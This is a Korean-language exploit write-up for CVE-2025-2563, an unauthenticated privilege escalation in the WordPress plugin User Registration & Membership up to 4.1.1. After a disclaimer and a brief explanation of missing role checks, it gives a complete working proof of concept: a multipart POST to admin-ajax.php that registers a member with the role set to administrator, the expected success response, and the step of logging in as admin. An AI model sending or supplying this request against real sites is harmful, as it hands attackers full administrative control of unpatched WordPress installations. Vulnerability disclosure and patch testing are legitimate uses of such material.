CVE-2025-2563

User Registration & Membership <= 4.1.1 - 인증되지 않은 권한 상승

면책 고지!

이 CVE(Common Vulnerabilities and Exposures) 분석 문서에 제시된 정보는 교육 및 정보 제공 목적으로만 제공됩니다. 제공된 세부 정보는 공개적으로 이용 가능한 리소스와 저자가 수행한 연구 및 분석을 기반으로 합니다. 본 콘텐츠는 해킹, 악용, 시스템 무단 접근을 포함한 불법 활동을 조장하거나 장려하기 위한 것이 아닙니다.

저자는 제시된 정보의 오용에 대해 어떠한 책임도 지지 않습니다. 개인과 조직은 관련 법률 및 규정을 준수하여 이 지식을 책임감 있게 적용할 것을 권장합니다. 독자들은 적절한 승인을 받은 통제된 환경에서만 취약점을 테스트할 것을 강력히 권고합니다.

본 문서의 저자와 기여자는 악의적인 활동을 지지하거나 지원하지 않으며, 책임 있는 공개와 윤리적 해킹 관행을 권장합니다.

---

설명

“User Registration & Membership” WordPress 플러그인에서 심각한 보안 취약점이 발견되었습니다. 이 플러그인은 멤버십 웹사이트와 등록 양식을 만드는 데 널리 사용되는 도구입니다. CVE-2025-2563로 식별된 이 결함은 CVSS 점수 9.8을 가지며 심각도가 매우 높음을 나타냅니다.

WordPress용 User Registration & Membership 플러그인은 4.1.1 이하 버전에서 권한 상승에 취약합니다. 이는 'prepare_members_data()' 함수에서 역할 유형에 대한 제한이 충분하지 않기 때문입니다. 이로 인해 인증되지 않은 공격자가 다음 조건에서 'administrator' 역할을 가진 새 사용자 계정을 생성할 수 있습니다:

1. 플러그인에서 멤버십 애드온이 활성화되어 있어야 함
2. 등록 사용자에게 확인이 필요하지 않아야 함

---

PoC (개념 증명)

1. /registration 또는 /membership-registration 프런트엔드 페이지를 통해 등록합니다.
2. 등록한 후 다음 요청 데이터를 사용합니다.
   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
   Accept: */*
   Host: hackthebox.test
   Accept-Encoding: gzip, deflate, br
   Connection: keep-alive
   Content-Type: multipart/form-data; boundary=--------------------------189123966817005614765335
   
   ----------------------------189123966817005614765335
   Content-Disposition: form-data; name="action"
   
   user_registration_membership_register_member
   ----------------------------189123966817005614765335
   Content-Disposition: form-data; name="security"
   
   THE_NONCE_HERE
   ----------------------------189123966817005614765335
   Content-Disposition: form-data; name="members_data"
   
   {"membership":"MEMBERSHIP_ID","payment_method":"free","start_date":"2025-3-29","username":"REGISTERED_USERNAME","role":"administrator"}
   ----------------------------189123966817005614765335--
   

3. 응답은 다음과 같아야 합니다
   root@kitploit:~

   {
       "success": true,
       "data": {
           "member_id": 24,
           "transaction_id": "",
           "message": "New member has been successfully created."
       }
   }  
   

4. 이제 관리자 권한으로 등록된 계정에 로그인할 수 있습니다.

---

참조

1. https://plugins.trac.wordpress.org/browser/user-registration/tags/4.1.2/modules/membership/includes/Admin/Services/MembersService.php?rev=3259656#L106
2. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation
3. https://securityonline.info/wordpress-plugin-cve-2025-2563-scores-9-8-threatens-thousands-of-membership-sites/

---

감사합니다

• https://saweria.co/ubaii
• https://buymeacoffee.com/ubaii
• https://trakteer.id/ubaii